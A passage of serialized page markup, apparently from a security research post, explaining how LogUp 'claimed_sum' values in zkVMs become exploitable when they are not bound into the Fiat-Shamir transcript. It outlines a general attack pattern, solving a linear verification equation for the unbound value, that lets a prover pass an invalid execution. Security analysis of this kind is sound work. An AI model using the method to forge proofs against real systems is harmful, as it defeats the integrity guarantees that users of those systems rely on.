",{"type":23,"tag":92,"props":113467,"children":113469},{"className":113468},[1183,1184],[113470],{"type":23,"tag":134,"props":113471,"children":113473},{"className":113472},[1189],[113474],{"type":23,"tag":134,"props":113475,"children":113477},{"className":113476,"ariaHidden":1195},[1194],[113478],{"type":23,"tag":134,"props":113479,"children":113481},{"className":113480},[1200],[113482,113486],{"type":23,"tag":134,"props":113483,"children":113485},{"className":113484,"style":110400},[1205],[],{"type":23,"tag":134,"props":113487,"children":113489},{"className":113488},[1211,21066],[113490],{"type":28,"value":31},{"type":28,"value":113492}," at time ",{"type":23,"tag":92,"props":113494,"children":113496},{"className":113495},[1183,1184],[113497],{"type":23,"tag":134,"props":113498,"children":113500},{"className":113499},[1189],[113501],{"type":23,"tag":134,"props":113502,"children":113504},{"className":113503,"ariaHidden":1195},[1194],[113505],{"type":23,"tag":134,"props":113506,"children":113508},{"className":113507},[1200],[113509,113514],{"type":23,"tag":134,"props":113510,"children":113513},{"className":113511,"style":113512},[1205],"height:0.6151em;",[],{"type":23,"tag":134,"props":113515,"children":113517},{"className":113516},[1211,21066],[113518],{"type":28,"value":21208},{"type":28,"value":19537},{"type":23,"tag":4894,"props":113521,"children":113522},{},[113523,113525,113550,113552,113577,113579,113604],{"type":28,"value":113524},"Memory table consumes: \"At time ",{"type":23,"tag":92,"props":113526,"children":113528},{"className":113527},[1183,1184],[113529],{"type":23,"tag":134,"props":113530,"children":113532},{"className":113531},[1189],[113533],{"type":23,"tag":134,"props":113534,"children":113536},{"className":113535,"ariaHidden":1195},[1194],[113537],{"type":23,"tag":134,"props":113538,"children":113540},{"className":113539},[1200],[113541,113545],{"type":23,"tag":134,"props":113542,"children":113544},{"className":113543,"style":113512},[1205],[],{"type":23,"tag":134,"props":113546,"children":113548},{"className":113547},[1211,21066],[113549],{"type":28,"value":21208},{"type":28,"value":113551},", address ",{"type":23,"tag":92,"props":113553,"children":113555},{"className":113554},[1183,1184],[113556],{"type":23,"tag":134,"props":113557,"children":113559},{"className":113558},[1189],[113560],{"type":23,"tag":134,"props":113561,"children":113563},{"className":113562,"ariaHidden":1195},[1194],[113564],{"type":23,"tag":134,"props":113565,"children":113567},{"className":113566},[1200],[113568,113572],{"type":23,"tag":134,"props":113569,"children":113571},{"className":113570,"style":110400},[1205],[],{"type":23,"tag":134,"props":113573,"children":113575},{"className":113574},[1211,21066],[113576],{"type":28,"value":31},{"type":28,"value":113578}," contained ",{"type":23,"tag":92,"props":113580,"children":113582},{"className":113581},[1183,1184],[113583],{"type":23,"tag":134,"props":113584,"children":113586},{"className":113585},[1189],[113587],{"type":23,"tag":134,"props":113588,"children":113590},{"className":113589,"ariaHidden":1195},[1194],[113591],{"type":23,"tag":134,"props":113592,"children":113594},{"className":113593},[1200],[113595,113599],{"type":23,"tag":134,"props":113596,"children":113598},{"className":113597,"style":110400},[1205],[],{"type":23,"tag":134,"props":113600,"children":113602},{"className":113601,"style":93045},[1211,21066],[113603],{"type":28,"value":113463},{"type":28,"value":19537},{"type":23,"tag":24,"props":113606,"children":113607},{},[113608],{"type":28,"value":113609},"If everything balances, the execution is consistent.",{"type":23,"tag":24,"props":113611,"children":113612},{},[113613,113618],{"type":23,"tag":2532,"props":113614,"children":113615},{},[113616],{"type":28,"value":113617},"The claimed_sum:",{"type":28,"value":113619}," Each component computes its contribution to the LogUp sum:",{"type":23,"tag":24,"props":113621,"children":113622},{},[113623],{"type":23,"tag":92,"props":113624,"children":113626},{"className":113625},[1183,1184],[113627],{"type":23,"tag":134,"props":113628,"children":113630},{"className":113629},[1189],[113631],{"type":23,"tag":134,"props":113632,"children":113634},{"className":113633,"ariaHidden":1195},[1194],[113635,113733,113984],{"type":23,"tag":134,"props":113636,"children":113638},{"className":113637},[1200],[113639,113643,113653,113658,113720,113724,113729],{"type":23,"tag":134,"props":113640,"children":113642},{"className":113641,"style":93972},[1205],[],{"type":23,"tag":134,"props":113644,"children":113646},{"className":113645},[1211,28],[113647],{"type":23,"tag":134,"props":113648,"children":113650},{"className":113649},[1211],[113651],{"type":28,"value":113652},"claimed",{"type":23,"tag":134,"props":113654,"children":113656},{"className":113655,"style":92559},[1211],[113657],{"type":28,"value":247},{"type":23,"tag":134,"props":113659,"children":113661},{"className":113660},[1211],[113662,113671],{"type":23,"tag":134,"props":113663,"children":113665},{"className":113664},[1211,28],[113666],{"type":23,"tag":134,"props":113667,"children":113669},{"className":113668},[1211],[113670],{"type":28,"value":76144},{"type":23,"tag":134,"props":113672,"children":113674},{"className":113673},[1228],[113675],{"type":23,"tag":134,"props":113676,"children":113678},{"className":113677},[1233,21120],[113679,113709],{"type":23,"tag":134,"props":113680,"children":113682},{"className":113681},[1238],[113683,113704],{"type":23,"tag":134,"props":113684,"children":113686},{"className":113685,"style":93088},[1243],[113687],{"type":23,"tag":134,"props":113688,"children":113690},{"style":113689},"top:-2.55em;margin-right:0.05em;",[113691,113695],{"type":23,"tag":134,"props":113692,"children":113694},{"className":113693,"style":1253},[1252],[],{"type":23,"tag":134,"props":113696,"children":113698},{"className":113697},[1258,1259,1260,1261],[113699],{"type":23,"tag":134,"props":113700,"children":113702},{"className":113701},[1211,21066,1261],[113703],{"type":28,"value":929},{"type":23,"tag":134,"props":113705,"children":113707},{"className":113706},[21223],[113708],{"type":28,"value":21226},{"type":23,"tag":134,"props":113710,"children":113712},{"className":113711},[1238],[113713],{"type":23,"tag":134,"props":113714,"children":113716},{"className":113715,"style":92642},[1243],[113717],{"type":23,"tag":134,"props":113718,"children":113719},{},[],{"type":23,"tag":134,"props":113721,"children":113723},{"className":113722,"style":1390},[1292],[],{"type":23,"tag":134,"props":113725,"children":113727},{"className":113726},[1395],[113728],{"type":28,"value":257},{"type":23,"tag":134,"props":113730,"children":113732},{"className":113731,"style":1390},[1292],[],{"type":23,"tag":134,"props":113734,"children":113736},{"className":113735},[1200],[113737,113742,113802,113806,113971,113975,113980],{"type":23,"tag":134,"props":113738,"children":113741},{"className":113739,"style":113740},[1205],"height:1.3874em;vertical-align:-0.5423em;",[],{"type":23,"tag":134,"props":113743,"children":113745},{"className":113744},[21102],[113746,113751],{"type":23,"tag":134,"props":113747,"children":113749},{"className":113748,"style":21109},[21102,21107,21108],[113750],{"type":28,"value":108354},{"type":23,"tag":134,"props":113752,"children":113754},{"className":113753},[1228],[113755],{"type":23,"tag":134,"props":113756,"children":113758},{"className":113757},[1233,21120],[113759,113790],{"type":23,"tag":134,"props":113760,"children":113762},{"className":113761},[1238],[113763,113785],{"type":23,"tag":134,"props":113764,"children":113767},{"className":113765,"style":113766},[1243],"height:0.162em;",[113768],{"type":23,"tag":134,"props":113769,"children":113770},{"style":21133},[113771,113775],{"type":23,"tag":134,"props":113772,"children":113774},{"className":113773,"style":1253},[1252],[],{"type":23,"tag":134,"props":113776,"children":113778},{"className":113777},[1258,1259,1260,1261],[113779],{"type":23,"tag":134,"props":113780,"children":113783},{"className":113781,"style":113782},[1211,21066,1261],"margin-right:0.05724em;",[113784],{"type":28,"value":8116},{"type":23,"tag":134,"props":113786,"children":113788},{"className":113787},[21223],[113789],{"type":28,"value":21226},{"type":23,"tag":134,"props":113791,"children":113793},{"className":113792},[1238],[113794],{"type":23,"tag":134,"props":113795,"children":113798},{"className":113796,"style":113797},[1243],"height:0.4358em;",[113799],{"type":23,"tag":134,"props":113800,"children":113801},{},[],{"type":23,"tag":134,"props":113803,"children":113805},{"className":113804,"style":1331},[1292],[],{"type":23,"tag":134,"props":113807,"children":113809},{"className":113808},[1211],[113810,113814,113967],{"type":23,"tag":134,"props":113811,"children":113813},{"className":113812},[21195,113077],[],{"type":23,"tag":134,"props":113815,"children":113817},{"className":113816},[113082],[113818],{"type":23,"tag":134,"props":113819,"children":113821},{"className":113820},[1233,21120],[113822,113955],{"type":23,"tag":134,"props":113823,"children":113825},{"className":113824},[1238],[113826,113950],{"type":23,"tag":134,"props":113827,"children":113829},{"className":113828,"style":113095},[1243],[113830,113919,113930],{"type":23,"tag":134,"props":113831,"children":113832},{"style":113099},[113833,113837],{"type":23,"tag":134,"props":113834,"children":113836},{"className":113835,"style":111730},[1252],[],{"type":23,"tag":134,"props":113838,"children":113840},{"className":113839},[1258,1259,1260,1261],[113841],{"type":23,"tag":134,"props":113842,"children":113844},{"className":113843},[1211,1261],[113845,113850,113855],{"type":23,"tag":134,"props":113846,"children":113848},{"className":113847,"style":113116},[1211,21066,1261],[113849],{"type":28,"value":113119},{"type":23,"tag":134,"props":113851,"children":113853},{"className":113852},[1298,1261],[113854],{"type":28,"value":1272},{"type":23,"tag":134,"props":113856,"children":113858},{"className":113857},[1211,1261],[113859,113868],{"type":23,"tag":134,"props":113860,"children":113862},{"className":113861},[1211,28,1261],[113863],{"type":23,"tag":134,"props":113864,"children":113866},{"className":113865},[1211,1261],[113867],{"type":28,"value":61516},{"type":23,"tag":134,"props":113869,"children":113871},{"className":113870},[1228],[113872],{"type":23,"tag":134,"props":113873,"children":113875},{"className":113874},[1233,21120],[113876,113907],{"type":23,"tag":134,"props":113877,"children":113879},{"className":113878},[1238],[113880,113902],{"type":23,"tag":134,"props":113881,"children":113884},{"className":113882,"style":113883},[1243],"height:0.3281em;",[113885],{"type":23,"tag":134,"props":113886,"children":113888},{"style":113887},"top:-2.357em;margin-right:0.0714em;",[113889,113893],{"type":23,"tag":134,"props":113890,"children":113892},{"className":113891,"style":108419},[1252],[],{"type":23,"tag":134,"props":113894,"children":113896},{"className":113895},[1258,108424,108425,1261],[113897],{"type":23,"tag":134,"props":113898,"children":113900},{"className":113899,"style":113782},[1211,21066,1261],[113901],{"type":28,"value":8116},{"type":23,"tag":134,"props":113903,"children":113905},{"className":113904},[21223],[113906],{"type":28,"value":21226},{"type":23,"tag":134,"props":113908,"children":113910},{"className":113909},[1238],[113911],{"type":23,"tag":134,"props":113912,"children":113915},{"className":113913,"style":113914},[1243],"height:0.2819em;",[113916],{"type":23,"tag":134,"props":113917,"children":113918},{},[],{"type":23,"tag":134,"props":113920,"children":113921},{"style":113132},[113922,113926],{"type":23,"tag":134,"props":113923,"children":113925},{"className":113924,"style":111730},[1252],[],{"type":23,"tag":134,"props":113927,"children":113929},{"className":113928,"style":113142},[113141],[],{"type":23,"tag":134,"props":113931,"children":113932},{"style":113146},[113933,113937],{"type":23,"tag":134,"props":113934,"children":113936},{"className":113935,"style":111730},[1252],[],{"type":23,"tag":134,"props":113938,"children":113940},{"className":113939},[1258,1259,1260,1261],[113941],{"type":23,"tag":134,"props":113942,"children":113944},{"className":113943},[1211,1261],[113945],{"type":23,"tag":134,"props":113946,"children":113948},{"className":113947},[1211,1261],[113949],{"type":28,"value":1214},{"type":23,"tag":134,"props":113951,"children":113953},{"className":113952},[21223],[113954],{"type":28,"value":21226},{"type":23,"tag":134,"props":113956,"children":113958},{"className":113957},[1238],[113959],{"type":23,"tag":134,"props":113960,"children":113963},{"className":113961,"style":113962},[1243],"height:0.5423em;",[113964],{"type":23,"tag":134,"props":113965,"children":113966},{},[],{"type":23,"tag":134,"props":113968,"children":113970},{"className":113969},[21217,113077],[],{"type":23,"tag":134,"props":113972,"children":113974},{"className":113973,"style":1293},[1292],[],{"type":23,"tag":134,"props":113976,"children":113978},{"className":113977},[1298],[113979],{"type":28,"value":1272},{"type":23,"tag":134,"props":113981,"children":113983},{"className":113982,"style":1293},[1292],[],{"type":23,"tag":134,"props":113985,"children":113987},{"className":113986},[1200],[113988,113993,114051,114055],{"type":23,"tag":134,"props":113989,"children":113992},{"className":113990,"style":113991},[1205],"height:1.296em;vertical-align:-0.4509em;",[],{"type":23,"tag":134,"props":113994,"children":113996},{"className":113995},[21102],[113997,114002],{"type":23,"tag":134,"props":113998,"children":114000},{"className":113999,"style":21109},[21102,21107,21108],[114001],{"type":28,"value":108354},{"type":23,"tag":134,"props":114003,"children":114005},{"className":114004},[1228],[114006],{"type":23,"tag":134,"props":114007,"children":114009},{"className":114008},[1233,21120],[114010,114039],{"type":23,"tag":134,"props":114011,"children":114013},{"className":114012},[1238],[114014,114034],{"type":23,"tag":134,"props":114015,"children":114017},{"className":114016,"style":113231},[1243],[114018],{"type":23,"tag":134,"props":114019,"children":114020},{"style":21133},[114021,114025],{"type":23,"tag":134,"props":114022,"children":114024},{"className":114023,"style":1253},[1252],[],{"type":23,"tag":134,"props":114026,"children":114028},{"className":114027},[1258,1259,1260,1261],[114029],{"type":23,"tag":134,"props":114030,"children":114032},{"className":114031,"style":93988},[1211,21066,1261],[114033],{"type":28,"value":88196},{"type":23,"tag":134,"props":114035,"children":114037},{"className":114036},[21223],[114038],{"type":28,"value":21226},{"type":23,"tag":134,"props":114040,"children":114042},{"className":114041},[1238],[114043],{"type":23,"tag":134,"props":114044,"children":114047},{"className":114045,"style":114046},[1243],"height:0.2997em;",[114048],{"type":23,"tag":134,"props":114049,"children":114050},{},[],{"type":23,"tag":134,"props":114052,"children":114054},{"className":114053,"style":1331},[1292],[],{"type":23,"tag":134,"props":114056,"children":114058},{"className":114057},[1211],[114059,114063,114216],{"type":23,"tag":134,"props":114060,"children":114062},{"className":114061},[21195,113077],[],{"type":23,"tag":134,"props":114064,"children":114066},{"className":114065},[113082],[114067],{"type":23,"tag":134,"props":114068,"children":114070},{"className":114069},[1233,21120],[114071,114204],{"type":23,"tag":134,"props":114072,"children":114074},{"className":114073},[1238],[114075,114199],{"type":23,"tag":134,"props":114076,"children":114078},{"className":114077,"style":113095},[1243],[114079,114168,114179],{"type":23,"tag":134,"props":114080,"children":114081},{"style":113099},[114082,114086],{"type":23,"tag":134,"props":114083,"children":114085},{"className":114084,"style":111730},[1252],[],{"type":23,"tag":134,"props":114087,"children":114089},{"className":114088},[1258,1259,1260,1261],[114090],{"type":23,"tag":134,"props":114091,"children":114093},{"className":114092},[1211,1261],[114094,114099,114104],{"type":23,"tag":134,"props":114095,"children":114097},{"className":114096,"style":113116},[1211,21066,1261],[114098],{"type":28,"value":113119},{"type":23,"tag":134,"props":114100,"children":114102},{"className":114101},[1298,1261],[114103],{"type":28,"value":1272},{"type":23,"tag":134,"props":114105,"children":114107},{"className":114106},[1211,1261],[114108,114118],{"type":23,"tag":134,"props":114109,"children":114111},{"className":114110},[1211,28,1261],[114112],{"type":23,"tag":134,"props":114113,"children":114115},{"className":114114},[1211,1261],[114116],{"type":28,"value":114117},"consume",{"type":23,"tag":134,"props":114119,"children":114121},{"className":114120},[1228],[114122],{"type":23,"tag":134,"props":114123,"children":114125},{"className":114124},[1233,21120],[114126,114156],{"type":23,"tag":134,"props":114127,"children":114129},{"className":114128},[1238],[114130,114151],{"type":23,"tag":134,"props":114131,"children":114133},{"className":114132,"style":111891},[1243],[114134],{"type":23,"tag":134,"props":114135,"children":114137},{"style":114136},"top:-2.3488em;margin-right:0.0714em;",[114138,114142],{"type":23,"tag":134,"props":114139,"children":114141},{"className":114140,"style":108419},[1252],[],{"type":23,"tag":134,"props":114143,"children":114145},{"className":114144},[1258,108424,108425,1261],[114146],{"type":23,"tag":134,"props":114147,"children":114149},{"className":114148,"style":93988},[1211,21066,1261],[114150],{"type":28,"value":88196},{"type":23,"tag":134,"props":114152,"children":114154},{"className":114153},[21223],[114155],{"type":28,"value":21226},{"type":23,"tag":134,"props":114157,"children":114159},{"className":114158},[1238],[114160],{"type":23,"tag":134,"props":114161,"children":114164},{"className":114162,"style":114163},[1243],"height:0.1512em;",[114165],{"type":23,"tag":134,"props":114166,"children":114167},{},[],{"type":23,"tag":134,"props":114169,"children":114170},{"style":113132},[114171,114175],{"type":23,"tag":134,"props":114172,"children":114174},{"className":114173,"style":111730},[1252],[],{"type":23,"tag":134,"props":114176,"children":114178},{"className":114177,"style":113142},[113141],[],{"type":23,"tag":134,"props":114180,"children":114181},{"style":113146},[114182,114186],{"type":23,"tag":134,"props":114183,"children":114185},{"className":114184,"style":111730},[1252],[],{"type":23,"tag":134,"props":114187,"children":114189},{"className":114188},[1258,1259,1260,1261],[114190],{"type":23,"tag":134,"props":114191,"children":114193},{"className":114192},[1211,1261],[114194],{"type":23,"tag":134,"props":114195,"children":114197},{"className":114196},[1211,1261],[114198],{"type":28,"value":1214},{"type":23,"tag":134,"props":114200,"children":114202},{"className":114201},[21223],[114203],{"type":28,"value":21226},{"type":23,"tag":134,"props":114205,"children":114207},{"className":114206},[1238],[114208],{"type":23,"tag":134,"props":114209,"children":114212},{"className":114210,"style":114211},[1243],"height:0.4509em;",[114213],{"type":23,"tag":134,"props":114214,"children":114215},{},[],{"type":23,"tag":134,"props":114217,"children":114219},{"className":114218},[21217,113077],[],{"type":23,"tag":24,"props":114221,"children":114222},{},[114223,114225,114407],{"type":28,"value":114224},"The global check: ",{"type":23,"tag":92,"props":114226,"children":114228},{"className":114227},[1183,1184],[114229],{"type":23,"tag":134,"props":114230,"children":114232},{"className":114231},[1189],[114233],{"type":23,"tag":134,"props":114234,"children":114236},{"className":114235,"ariaHidden":1195},[1194],[114237,114394],{"type":23,"tag":134,"props":114238,"children":114240},{"className":114239},[1200],[114241,114245,114302,114306,114315,114320,114381,114385,114390],{"type":23,"tag":134,"props":114242,"children":114244},{"className":114243,"style":92501},[1205],[],{"type":23,"tag":134,"props":114246,"children":114248},{"className":114247},[21102],[114249,114254],{"type":23,"tag":134,"props":114250,"children":114252},{"className":114251,"style":21109},[21102,21107,21108],[114253],{"type":28,"value":108354},{"type":23,"tag":134,"props":114255,"children":114257},{"className":114256},[1228],[114258],{"type":23,"tag":134,"props":114259,"children":114261},{"className":114260},[1233,21120],[114262,114291],{"type":23,"tag":134,"props":114263,"children":114265},{"className":114264},[1238],[114266,114286],{"type":23,"tag":134,"props":114267,"children":114269},{"className":114268,"style":113766},[1243],[114270],{"type":23,"tag":134,"props":114271,"children":114272},{"style":21133},[114273,114277],{"type":23,"tag":134,"props":114274,"children":114276},{"className":114275,"style":1253},[1252],[],{"type":23,"tag":134,"props":114278,"children":114280},{"className":114279},[1258,1259,1260,1261],[114281],{"type":23,"tag":134,"props":114282,"children":114284},{"className":114283},[1211,21066,1261],[114285],{"type":28,"value":929},{"type":23,"tag":134,"props":114287,"children":114289},{"className":114288},[21223],[114290],{"type":28,"value":21226},{"type":23,"tag":134,"props":114292,"children":114294},{"className":114293},[1238],[114295],{"type":23,"tag":134,"props":114296,"children":114298},{"className":114297,"style":114046},[1243],[114299],{"type":23,"tag":134,"props":114300,"children":114301},{},[],{"type":23,"tag":134,"props":114303,"children":114305},{"className":114304,"style":1331},[1292],[],{"type":23,"tag":134,"props":114307,"children":114309},{"className":114308},[1211,28],[114310],{"type":23,"tag":134,"props":114311,"children":114313},{"className":114312},[1211],[114314],{"type":28,"value":113652},{"type":23,"tag":134,"props":114316,"children":114318},{"className":114317,"style":92559},[1211],[114319],{"type":28,"value":247},{"type":23,"tag":134,"props":114321,"children":114323},{"className":114322},[1211],[114324,114333],{"type":23,"tag":134,"props":114325,"children":114327},{"className":114326},[1211,28],[114328],{"type":23,"tag":134,"props":114329,"children":114331},{"className":114330},[1211],[114332],{"type":28,"value":76144},{"type":23,"tag":134,"props":114334,"children":114336},{"className":114335},[1228],[114337],{"type":23,"tag":134,"props":114338,"children":114340},{"className":114339},[1233,21120],[114341,114370],{"type":23,"tag":134,"props":114342,"children":114344},{"className":114343},[1238],[114345,114365],{"type":23,"tag":134,"props":114346,"children":114348},{"className":114347,"style":93088},[1243],[114349],{"type":23,"tag":134,"props":114350,"children":114351},{"style":113689},[114352,114356],{"type":23,"tag":134,"props":114353,"children":114355},{"className":114354,"style":1253},[1252],[],{"type":23,"tag":134,"props":114357,"children":114359},{"className":114358},[1258,1259,1260,1261],[114360],{"type":23,"tag":134,"props":114361,"children":114363},{"className":114362},[1211,21066,1261],[114364],{"type":28,"value":929},{"type":23,"tag":134,"props":114366,"children":114368},{"className":114367},[21223],[114369],{"type":28,"value":21226},{"type":23,"tag":134,"props":114371,"children":114373},{"className":114372},[1238],[114374],{"type":23,"tag":134,"props":114375,"children":114377},{"className":114376,"style":92642},[1243],[114378],{"type":23,"tag":134,"props":114379,"children":114380},{},[],{"type":23,"tag":134,"props":114382,"children":114384},{"className":114383,"style":1390},[1292],[],{"type":23,"tag":134,"props":114386,"children":114388},{"className":114387},[1395],[114389],{"type":28,"value":257},{"type":23,"tag":134,"props":114391,"children":114393},{"className":114392,"style":1390},[1292],[],{"type":23,"tag":134,"props":114395,"children":114397},{"className":114396},[1200],[114398,114402],{"type":23,"tag":134,"props":114399,"children":114401},{"className":114400,"style":93590},[1205],[],{"type":23,"tag":134,"props":114403,"children":114405},{"className":114404},[1211],[114406],{"type":28,"value":1224},{"type":28,"value":720},{"type":23,"tag":24,"props":114409,"children":114410},{},[114411,114416,114418,114424],{"type":23,"tag":2532,"props":114412,"children":114413},{},[114414],{"type":28,"value":114415},"Why this is vulnerable:",{"type":28,"value":114417}," The ",{"type":23,"tag":92,"props":114419,"children":114421},{"className":114420},[],[114422],{"type":28,"value":114423},"claimed_sum",{"type":28,"value":114425}," values are prover-supplied. If they're not in the transcript before challenges are derived, the prover can adjust them to make the sum zero for an invalid execution.",{"type":23,"tag":18268,"props":114427,"children":114428},{},[],{"type":23,"tag":61,"props":114430,"children":114432},{"id":114431},"the-universal-attack-pattern",[114433],{"type":28,"value":114434},"The Universal Attack Pattern",{"type":23,"tag":24,"props":114436,"children":114437},{},[114438],{"type":28,"value":114439},"Now we can describe the attack pattern that works on all six systems:",{"type":23,"tag":24,"props":114441,"children":114442},{},[114443],{"type":23,"tag":1116,"props":114444,"children":114447},{"alt":114445,"src":114446},"2_attack_pattern","/posts/zkvms-unfaithful-claims/2_attack_pattern.svg",[],{"type":23,"tag":24,"props":114449,"children":114450},{},[114451,114453,114478],{"type":28,"value":114452},"When a value ",{"type":23,"tag":92,"props":114454,"children":114456},{"className":114455},[1183,1184],[114457],{"type":23,"tag":134,"props":114458,"children":114460},{"className":114459},[1189],[114461],{"type":23,"tag":134,"props":114462,"children":114464},{"className":114463,"ariaHidden":1195},[1194],[114465],{"type":23,"tag":134,"props":114466,"children":114468},{"className":114467},[1200],[114469,114473],{"type":23,"tag":134,"props":114470,"children":114472},{"className":114471,"style":21061},[1205],[],{"type":23,"tag":134,"props":114474,"children":114476},{"className":114475,"style":107757},[1211,21066],[114477],{"type":28,"value":108081},{"type":28,"value":114479}," isn't transcript-bound:",{"type":23,"tag":4890,"props":114481,"children":114482},{},[114483,114514,114591,114736],{"type":23,"tag":4894,"props":114484,"children":114485},{},[114486,114488,114513],{"type":28,"value":114487},"Challenges are fixed (independent of ",{"type":23,"tag":92,"props":114489,"children":114491},{"className":114490},[1183,1184],[114492],{"type":23,"tag":134,"props":114493,"children":114495},{"className":114494},[1189],[114496],{"type":23,"tag":134,"props":114497,"children":114499},{"className":114498,"ariaHidden":1195},[1194],[114500],{"type":23,"tag":134,"props":114501,"children":114503},{"className":114502},[1200],[114504,114508],{"type":23,"tag":134,"props":114505,"children":114507},{"className":114506,"style":21061},[1205],[],{"type":23,"tag":134,"props":114509,"children":114511},{"className":114510,"style":107757},[1211,21066],[114512],{"type":28,"value":108081},{"type":28,"value":296},{"type":23,"tag":4894,"props":114515,"children":114516},{},[114517,114519],{"type":28,"value":114518},"The verification equation has form: ",{"type":23,"tag":92,"props":114520,"children":114522},{"className":114521},[1183,1184],[114523],{"type":23,"tag":134,"props":114524,"children":114526},{"className":114525},[1189],[114527],{"type":23,"tag":134,"props":114528,"children":114530},{"className":114529,"ariaHidden":1195},[1194],[114531,114572],{"type":23,"tag":134,"props":114532,"children":114534},{"className":114533},[1200],[114535,114539,114544,114549,114554,114559,114563,114568],{"type":23,"tag":134,"props":114536,"children":114538},{"className":114537,"style":1313},[1205],[],{"type":23,"tag":134,"props":114540,"children":114542},{"className":114541,"style":94913},[1211,21066],[114543],{"type":28,"value":32581},{"type":23,"tag":134,"props":114545,"children":114547},{"className":114546},[21195],[114548],{"type":28,"value":272},{"type":23,"tag":134,"props":114550,"children":114552},{"className":114551,"style":107757},[1211,21066],[114553],{"type":28,"value":108081},{"type":23,"tag":134,"props":114555,"children":114557},{"className":114556},[21217],[114558],{"type":28,"value":296},{"type":23,"tag":134,"props":114560,"children":114562},{"className":114561,"style":1390},[1292],[],{"type":23,"tag":134,"props":114564,"children":114566},{"className":114565},[1395],[114567],{"type":28,"value":257},{"type":23,"tag":134,"props":114569,"children":114571},{"className":114570,"style":1390},[1292],[],{"type":23,"tag":134,"props":114573,"children":114575},{"className":114574},[1200],[114576,114581],{"type":23,"tag":134,"props":114577,"children":114580},{"className":114578,"style":114579},[1205],"height:0.8095em;vertical-align:-0.1944em;",[],{"type":23,"tag":134,"props":114582,"children":114584},{"className":114583},[1211,28],[114585],{"type":23,"tag":134,"props":114586,"children":114588},{"className":114587},[1211],[114589],{"type":28,"value":114590},"target",{"type":23,"tag":4894,"props":114592,"children":114593},{},[114594,114595,114621,114623],{"type":28,"value":6938},{"type":23,"tag":92,"props":114596,"children":114598},{"className":114597},[1183,1184],[114599],{"type":23,"tag":134,"props":114600,"children":114602},{"className":114601},[1189],[114603],{"type":23,"tag":134,"props":114604,"children":114606},{"className":114605,"ariaHidden":1195},[1194],[114607],{"type":23,"tag":134,"props":114608,"children":114610},{"className":114609},[1200],[114611,114616],{"type":23,"tag":134,"props":114612,"children":114615},{"className":114613,"style":114614},[1205],"height:0.8889em;vertical-align:-0.1944em;",[],{"type":23,"tag":134,"props":114617,"children":114619},{"className":114618,"style":94913},[1211,21066],[114620],{"type":28,"value":32581},{"type":28,"value":114622}," is linear: ",{"type":23,"tag":92,"props":114624,"children":114626},{"className":114625},[1183,1184],[114627],{"type":23,"tag":134,"props":114628,"children":114630},{"className":114629},[1189],[114631],{"type":23,"tag":134,"props":114632,"children":114634},{"className":114633,"ariaHidden":1195},[1194],[114635,114664,114691,114719],{"type":23,"tag":134,"props":114636,"children":114638},{"className":114637},[1200],[114639,114644,114651,114655,114660],{"type":23,"tag":134,"props":114640,"children":114643},{"className":114641,"style":114642},[1205],"height:0.4445em;",[],{"type":23,"tag":134,"props":114645,"children":114648},{"className":114646,"style":114647},[1211,21066],"margin-right:0.0037em;",[114649],{"type":28,"value":114650},"α",{"type":23,"tag":134,"props":114652,"children":114654},{"className":114653,"style":1293},[1292],[],{"type":23,"tag":134,"props":114656,"children":114658},{"className":114657},[1298],[114659],{"type":28,"value":110821},{"type":23,"tag":134,"props":114661,"children":114663},{"className":114662,"style":1293},[1292],[],{"type":23,"tag":134,"props":114665,"children":114667},{"className":114666},[1200],[114668,114673,114678,114682,114687],{"type":23,"tag":134,"props":114669,"children":114672},{"className":114670,"style":114671},[1205],"height:0.7667em;vertical-align:-0.0833em;",[],{"type":23,"tag":134,"props":114674,"children":114676},{"className":114675,"style":107757},[1211,21066],[114677],{"type":28,"value":108081},{"type":23,"tag":134,"props":114679,"children":114681},{"className":114680,"style":1293},[1292],[],{"type":23,"tag":134,"props":114683,"children":114685},{"className":114684},[1298],[114686],{"type":28,"value":1586},{"type":23,"tag":134,"props":114688,"children":114690},{"className":114689,"style":1293},[1292],[],{"type":23,"tag":134,"props":114692,"children":114694},{"className":114693},[1200],[114695,114699,114706,114710,114715],{"type":23,"tag":134,"props":114696,"children":114698},{"className":114697,"style":114614},[1205],[],{"type":23,"tag":134,"props":114700,"children":114703},{"className":114701,"style":114702},[1211,21066],"margin-right:0.05278em;",[114704],{"type":28,"value":114705},"β",{"type":23,"tag":134,"props":114707,"children":114709},{"className":114708,"style":1390},[1292],[],{"type":23,"tag":134,"props":114711,"children":114713},{"className":114712},[1395],[114714],{"type":28,"value":257},{"type":23,"tag":134,"props":114716,"children":114718},{"className":114717,"style":1390},[1292],[],{"type":23,"tag":134,"props":114720,"children":114722},{"className":114721},[1200],[114723,114727],{"type":23,"tag":134,"props":114724,"children":114726},{"className":114725,"style":114579},[1205],[],{"type":23,"tag":134,"props":114728,"children":114730},{"className":114729},[1211,28],[114731],{"type":23,"tag":134,"props":114732,"children":114734},{"className":114733},[1211],[114735],{"type":28,"value":114590},{"type":23,"tag":4894,"props":114737,"children":114738},{},[114739,114741],{"type":28,"value":114740},"Solve: ",{"type":23,"tag":92,"props":114742,"children":114744},{"className":114743},[1183,1184],[114745],{"type":23,"tag":134,"props":114746,"children":114748},{"className":114747},[1189],[114749],{"type":23,"tag":134,"props":114750,"children":114752},{"className":114751,"ariaHidden":1195},[1194],[114753,114779,114814],{"type":23,"tag":134,"props":114754,"children":114756},{"className":114755},[1200],[114757,114761,114766,114770,114775],{"type":23,"tag":134,"props":114758,"children":114760},{"className":114759,"style":21061},[1205],[],{"type":23,"tag":134,"props":114762,"children":114764},{"className":114763,"style":107757},[1211,21066],[114765],{"type":28,"value":108081},{"type":23,"tag":134,"props":114767,"children":114769},{"className":114768,"style":1390},[1292],[],{"type":23,"tag":134,"props":114771,"children":114773},{"className":114772},[1395],[114774],{"type":28,"value":257},{"type":23,"tag":134,"props":114776,"children":114778},{"className":114777,"style":1390},[1292],[],{"type":23,"tag":134,"props":114780,"children":114782},{"className":114781},[1200],[114783,114787,114792,114801,114805,114810],{"type":23,"tag":134,"props":114784,"children":114786},{"className":114785,"style":1313},[1205],[],{"type":23,"tag":134,"props":114788,"children":114790},{"className":114789},[21195],[114791],{"type":28,"value":272},{"type":23,"tag":134,"props":114793,"children":114795},{"className":114794},[1211,28],[114796],{"type":23,"tag":134,"props":114797,"children":114799},{"className":114798},[1211],[114800],{"type":28,"value":114590},{"type":23,"tag":134,"props":114802,"children":114804},{"className":114803,"style":1293},[1292],[],{"type":23,"tag":134,"props":114806,"children":114808},{"className":114807},[1298],[114809],{"type":28,"value":1272},{"type":23,"tag":134,"props":114811,"children":114813},{"className":114812,"style":1293},[1292],[],{"type":23,"tag":134,"props":114815,"children":114817},{"className":114816},[1200]